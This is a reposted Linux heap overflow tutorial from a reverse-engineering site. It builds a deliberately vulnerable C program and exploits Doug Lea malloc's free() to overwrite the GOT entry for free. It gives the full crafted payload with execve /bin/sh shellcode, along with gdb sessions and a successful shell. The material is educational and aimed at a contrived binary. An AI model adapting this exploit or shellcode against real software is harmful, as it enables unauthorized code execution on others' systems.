DVD-ROM: eXeL@B DVD !
eXeL@B  !


2 !


>>
| | RAR-c | FAQ | | |
| | | | |

C ++



, , ++, . Python , , Windows . : , - . , , . , . - , ++.

HEAP OVERFLOW TUTORIAL

 

 

INTRODUCTION

 

This paper was written for users who want a practical demonstration

of a heap overflow being exploited. Please practice on linux, for it uses

Doug Lea's malloc. I used RedHat 7.2.

 

I THE VULNERABLE LOCAL BINARY

 

I created this contrived example for this paper. If you do not see

the problem, I cannot help you.

 

/* a.c */

 

#include <stdio.h>

 

int main(int argc, char **argv)

{

 

char *buf1, *buf2, *buf3;

 

if(argc == 1) {

printf("\nThis program takes a string as an arguement.\n");

return(0);

}

 

buf1 = (char *) malloc(56);

buf2 = (char *) malloc(56);

buf3 = (char *) malloc(56);

 

strcpy(buf2,"CCCCCCCCCCCCCCCC");

strcpy(buf1, argv[1]);

 

printf("\n%s\n", buf1);

 

free(buf2);

free(buf1);

 

strcpy(buf3, "END OF PROGRAM");

printf("\n%s\n", buf3);

 

free(buf3);

 

return(0);

 

}

 

Compile the file with -ggdb flag. Experiment with it and activate

the bug. If you do not know what to expect I cannot help you.

 

II DISCUSSION OF STRATEGIES

 

Obviously we control the contents of buf1 and can potentially overflow

buf2 and buf3's chunk information. Looking at it the first thing that comes

to my mind is the off by five technique. This will not work though. In order

to trick the first free() to think previous chunk is freed and to "go backwards

to buf1" we would need to write a positive integer to buf2's previous size

chunk data area. This would mean a null byte or three in our string, which we

cannot do in a practical way.

 

This means we would want to corrupt the first 8 bytes of buf2. This

way we can create a virtual chunk directly after buf2's first 16 bytes, and

while we are at it the shellcode will go right after with slight modifications.

I should probably mention I plan to overwrite the GOT ptr - 12 for free(), and

the return address will soon be obvious.

 

I suppose a ascii diagram is in order.

 

<56 bytes of crap> <previous size of buf2> <size of buf2> <8 bytes of crap>

<ptr safe 4 bytes> <ptr safe 4 bytes> <ptr to overwrite location - 12>

<return addy> <jump ahead 12> <12 bytes of crap> <shellcode of your choice>

 

Now i am gettig drunk on July 3rd. Tommorrow off, sweet. Anyway, refill.

Brb. I admit it looks ugly, but those null bytes... The easiest way to get the

GOT pointer to overwrite is "objdump -R a | grep free". Remember to subtract 12

bytes from that number. As for the return address, if you cannot figure that out

I cannot help you.

 

Now I should show the usual gdb output I guess. Here is a session of mine.

 

[fc@localhost fc]$ gcc -ggdb -o a a.c

[fc@localhost fc]$ gdb a

GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break strcpy

Breakpoint 1 at 0x80483e8

(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Starting program: /home/fc/a aaaaaaaaaaaaa...

Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.

 

Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>)

at ../sysdeps/generic/strcpy.c:34

34 ../sysdeps/generic/strcpy.c: No such file or directory.

in ../sysdeps/generic/strcpy.c

(gdb) cont

Continuing.

 

Breakpoint 1, strcpy (dest=0x8049820 "", src=0xbffffb86 'a' <repeats 60 times>)

at ../sysdeps/generic/strcpy.c:34

34 in ../sysdeps/generic/strcpy.c

(gdb) x/4x 0x8049858

0x8049858: 0x00000000 0x00000041 0x43434343 0x43434343

(gdb) break chunk_free

Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.

(gdb) cont

Continuing.

 

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

 

Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166

3166 malloc.c: No such file or directory.

in malloc.c

(gdb) x/4x 0x8049858

0x8049858: 0x61616161 0x00000000 0x43434343 0x43434343

(gdb) cont

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x400a5b2d in chunk_free (ar_ptr=0x40157160, p=0xa6a336f7) at malloc.c:3225

3225 in malloc.c

 

I wanted to show why the off by five technique wouldn't work for me.

Do you see the last value for 'p' above? That is 0x8049858 - 0x61616161 =

0xa6a336f7 , so this means to me we have pretty good control of 'p'. This is

a critical main idea.

Now why wouldn't the off by five work? Becuase I cannot have null

bytes in my one main string (argv[1]). The smallest positive integer I could

place there without a null byte is 17895697 (0x01111111), and that goes

too far "backwards". Also, the amount of A's is the smallest amount to cause

a seg. Remember that buf2's previous size data area doesn't come into play

until the chunk is freed or appears to be freed.

 

Ok, so in summary, the above gdb output shows me overflowing into

buf2 by one byte. That null byte overwrites 0x00000041. That null byte

does one main thing. It makes the least significant bit of buf2's size chunk

area 0. That means previous chunk behind buf2 is 'freed', but it really isn't.

But since it appears the previous chunk is freed, one can control the free()

and its one arguement, a pointer. The only problem is making it "go backwards",

going "forwards" is ideal. That is exactly what we will do instead of the off

by five technique and a virtual chunk behind buf2.

 

III EXPLOITING THIS CONTRIVED EXAMPLE

 

That ascii diagram basically shows the layout. But I will show how

I got the correct information.

 

Now since the strcpy src we control has to be 'used' up, I supplied

56 bytes of assorted garbage. I used,

"thisismyexploitforthecontrivedexampleinmyheaptutorial!!!", which is 56

bytes long. This corresponds to the ascii diagram, <56 bytes of crap>.

 

The next part in the ascii diagram is, <previous size of buf2>,

and we want this to be -16. The reason why for -16 is because we cant have

a small positive integer and we want the pointer to free() to 'jump'

ahead 16 bytes. I used 0xfffffff0 which is -16 in hex.

 

Next, is buf2's size chunk area. This value has to have the least

significant bit set to 0 and the 2nd least significant bit set to zero also

to be on the safe side. I used 0xfffffffc which works out well.

 

The next 8 bytes can be anything you want except null bytes.

 

The next two groups of 4 bytes just need to be pointer safe. In

the sense they do not contain null bytes and one can add to a pointer

without causing a problem.

 

[fc@localhost fc]$ objdump -R a | grep free

08049728 R_386_JUMP_SLOT free

 

This is the GOT pointer for free(). This part of the ascii diagram.

<ptr to overwrite location - 12>. The reason for subtracting 12 bytes is

because that data isnt in our control. It is overwritten before the shell-

code executes and that works around it.

 

The <return addy> is simply where your shellcode begins. To be

exact, it is where that jump ahead 12 shellcode is, <jump ahead 12>

 

Pretty self-explanatory, <12 bytes of crap>.

 

And this is also pretty straight-forward, <shellcode of your choice>.

 

So, let me craft my string for argv[1].

 

<56 bytes of crap>

thisismyexploitforthecontrivedexampleinmyheaptutorial!!!

<previous size of buf2>

\xf0\xff\xff\xff

<size of buf2>

\xfc\xff\xff\xff

<8 bytes of crap>

\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc

<ptr safe 4 bytes>

\xfc\xff\xff\xff

<ptr safe 4 bytes>

\xfc\xff\xff\xff

<ptr to overwrite location - 12>

\x1c\x97\x04\x08

<return addy>

\x78\x98\x04\x08

<jump ahead 12>

\xeb\x0c

<12 bytes of crap>

\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc

<shellcode of your choice>

\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56

\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b

\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh

 

So let me do another gdb session, and finish up with a run on

the command line.

 

[fc@localhost fc]$ gdb a

GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)

Copyright 2001 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) break strcpy

Breakpoint 1 at 0x80483e8

(gdb) run `perl -e ' print "thisismyexploitforthecontrivedexampleinmyheaptutor

ial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xff

\xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c\xfc\xfc\xfc

\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2

\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b

\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`

 

Starting program: /home/fc/a `perl -e ' print "thisismyexploit...

Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.

 

Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>)

34 ../sysdeps/generic/strcpy.c: No such file or directory.

in ../sysdeps/generic/strcpy.c

(gdb) cont

Continuing.

 

Breakpoint 1, strcpy (dest=0x8049820 "",

src=0xbffffb2a "thisismyexploitforthecontrivedexampleinmyheaptutorial!!!

\034\227\004\bx\230\004\b\f",

'' <repeats 12 times>, "$^\215\036\211^\0133\211V\a\211V

\017\eV4\0225\020V4\022\215N\013\213\2003@\200

/bin/sh") at ../sysdeps/generic/strcpy.c:34

34 in ../sysdeps/generic/strcpy.c

(gdb) break chunk_free

Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.

(gdb) x/4x 0x8049858

0x8049858: 0x00000000 0x00000041 0x43434343 0x43434343

(gdb) cont

Continuing.

 

thisismyexploitforthecontrivedexampleinmyheaptutorial!!!x

$^&#8240;^

3&#8240;V&#8240;V45V4N

&#8249;&#8364;3@&#8364;/bin/sh

 

Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166

3166 malloc.c: No such file or directory.

in malloc.c

(gdb) x/4x 0x8049858

0x8049858: 0xfffffff0 0xfffffffc 0xfcfcfcfc 0xfcfcfcfc

(gdb) x/4x 0x8049868

0x8049868: 0xfffffffc 0xfffffffc 0x0804971c 0x08049878

(gdb) x/4x 0x8049878

0x8049878: 0xfcfc0ceb 0xfcfcfcfc 0xfcfcfcfc 0x24ebfcfc

(gdb) x/4x 0x8049888

0x8049888: 0x891e8d5e 0xd2330b5e 0x89075689 0x1bb80f56

(gdb) x/4x 0x8049898

0x8049898: 0x35123456 0x12345610 0x8b0b4e8d 0x3380cdd1

(gdb) x/4x 0x80498a8

0x80498a8: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e

(gdb) x/4x 0x80498b8

0x80498b8: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb) cont

Continuing.

 

Program received signal SIGTRAP, Trace/breakpoint trap.

Cannot remove breakpoints because program is no longer writable.

It might be running in another process.

Further execution is probably impossible.

0x40001de0 in _start () at rtld.c:158

158 rtld.c: No such file or directory.

in rtld.c

(gdb) quit

The program is running. Exit anyway? (y or n) y

[fc@localhost fc]$

 

Well, that looks pretty good to me. I will now try running it

on the command line.

 

[fc@localhost fc]$ ./a `perl -e ' print "thisismyexploitforthecontrivedexample

inmyheaptutorial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc

\xfc\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c

\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e

\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12

\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`

 

thisismyexploitforthecontrivedexampleinmyheaptutorial!!!x

$^&#8240;^

3&#8240;V&#8240;V45V4N

&#8249;&#8364;3@&#8364;/bin/sh

sh-2.05$

 

That is a wrap. Take it easy and keep practicing.

 

 

 

 

 



<<

<<




https://exelab.ru/pro/



 DVD-ROM: eXeL@B DVD !


EXELAB.rU
 ReactOS